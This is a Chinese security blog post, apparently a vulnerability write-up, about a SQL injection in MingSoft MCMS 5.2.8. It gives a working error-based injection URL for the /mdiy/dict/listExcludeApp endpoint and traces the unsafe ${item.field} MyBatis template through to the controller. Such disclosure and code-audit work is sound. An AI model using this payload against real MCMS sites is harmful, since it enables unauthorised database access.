铭飞CMS SQL注入漏洞

0x00 前言

铭飞CMS是一款基于java开发的一套轻量级开源内容管理系统。.

漏洞版本:铭飞MCMS5.2.8

地址:MCMS: 🌈🌈🌈祝开发者端午节快乐!免费可商用的开源Java CMS内容管理系统/基于SpringBoot 2/前端Vue3/element plus/提供上百套模板,同时提供实用的插件/每两个月收集issues问题并更新版本/一套简单好用开源免费的Java CMS内容管理系/一整套优质的开源生态内容体系。我们的使命就是降低开发成本提高开发效率,提供全方位的企业级开发解决方案。 - Gitee.com

0x01 漏洞复现

Poc:

/mdiy/dict/listExcludeApp?dicType=1&orderBy=1&sqlWhere=[{"action"%3a"","field"%3a"1+AND+EXTRACTVALUE(4095,CONCAT(0x7e,(select user()),0x7e))","el":"eq","model":"contentTitle","name":"123","type":"input","value":"a"}]

复现:

0x02 代码审计

全局搜索sqlWhere,在src\main\java\net\mingsoft\cms\dao\IContentDao.xml中有引用外部jar包中sql。

<include refid="net.mingsoft.base.dao.IBaseDao.sqlWhere"></include>

根据所提供位置,找到net.mingsoft.base.dao.IBaseDao.xml。

上面refid就是id,foreach遍历sqlwherelist,item是sqlwherelist中的元素,也可以简单地理解为item就是sqlwherelist。${item.field} 一眼存在注入点,也就是只要引用id为sqlwhere的语句的都存在SQL注入。

<sql id="sqlWhere" databaseId="mysql">    
<if test="sqlWhereList != null">   
<foreach collection="sqlWhereList" item="item" index="index"   open="and( " separator=" " close=" )">      
<if test="item.el == 'eq'">         
<choose>            
<when test="item.multiple != null and item.multiple == true">                     FIND_IN_SET(#{item.value}, ${item.field})>0            
</when>              
<otherwise>                    
${item.field} = #{item.value}           
</otherwise>       
</choose>    
</if>    
<if test="item.el == 'gt'">       
<choose>         
<when test="item.type=='time'||item.type=='date'">           
<if test="item.type=='time'">     
date_format(${item.field},'%T') &gt; date_format(#{item.value},'%T')                     </if>         
<if test="item.type=='date'">                     
date_format(${item.field},'%Y-%m-%d %H:%i:%s') &gt; date_format(#{item.value},'%Y-%m-%d %H:%i:%s')                    
</if>             
</when>            
<otherwise>       
${item.field} &gt; #{item.value}          
</otherwise>       
</choose>         
</if>

在net\mingsoft\ms-mdiy\2.1.13.1\ms-mdiy-2.1.13.1.jar!\net\mingsoft\mdiy\dao\IDictDao.xml中queryExcludeApp引用了SQL where语句。

<select id="queryExcludeApp" resultMap="resultMap">
 select * from mdiy_dict
 <where>
    省略
 <include refid="net.mingsoft.base.dao.IBaseDao.sqlWhere"></include>

追溯dao层IDictDao.java中queryExcludeApp方法使用了该函数,再追溯, net\mingsoft\mdiy\biz\impl\DictBizImpl.java中queryExcludeApp调用了dictDao.queryExcludeApp方法。

@Override
 public List queryExcludeApp(DictEntity dictEntity) {
   return dictDao.queryExcludeApp(dictEntity);
 }

继续追溯,路由 /listExcludeApp 中的listExcludeApp方法调用了dictBiz.queryExcludeApp(dict)。而前端路由还有 /mdiy/dict ,即漏洞url为 /mdiy/dict/listExcludeApp?dicType=

@GetMapping("/listExcludeApp")
 @ResponseBody
 public ResultData listExcludeApp(@ModelAttribute @ApiIgnore DictEntity dict, HttpServletResponse response, HttpServletRequest request) {
   SqlInjectionUtil.*filterContent*(dict.getOrderBy());
   dict.setDictEnable(true);
   List dictList = dictBiz.queryExcludeApp(dict);  //这里
   return ResultData.*build*().success(dictList);
 }

  • 18
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
MCMS铭飞cms建站系统完整开源!基于SpringBoot 2架构,前端基于vue、element ui。每月28定期更新版本,为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。铭飞的使命就是降低开发成本提高开发效率,提供全方位的企业级开发解决方案。 特点: 免费完整开源:基于MIT协议,源代码完全开源,无商业限制,MS开发团队承诺将MCMS内容系统永久完整开源; 标签化建站:不需要专业的后台开发技能,只要使用系统提供的标签,就能轻松建设网站; html静态化:系统支持全站静态化; 跨终端:站点同时支持PC与移动端访问,同时会自动根据访问的终端切换到对应的界面,数据由系统统一管理; 海量模版:铭飞通过MStore(MS商城)分享更多免费、精美的企业网站模版,降低建站成本; 丰富插件:为了让MCms适应更多的业务场景,在MStore用户可以下载对应的插件,如:站群插件、微信插件、商城插件等; 每月更新:铭飞团队承诺每月28日为系统升级日,分享更多好用等模版与插件; 文档丰富:为了让用户更快速的使用MCms系统进行开发,铭飞团队持续更新开发相关文档,如标签文档、使用文档、视频教程等; 开发环境: 建议开发者使用以下环境,这样避免版本带来的问题 Windows、Linux Eclipse、Idea Mysql≧5.7 JDK≧8 Tomcat≧8   MCMS铭飞cms建站系统 更新日志: v5.2.1 【框架】sprintboot版本更新到2.2.13.RELEASE 【新增】全局异常处理 【优化】搜索功能优化 【优化】标签脚本优化 【修复】修复MStore功能 【修复】具体参考开源中国ISSUES 5.2.0升级5.2.1步骤( 1、同步代码; 2、导入5.2.0-up-5.2.1.sql)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值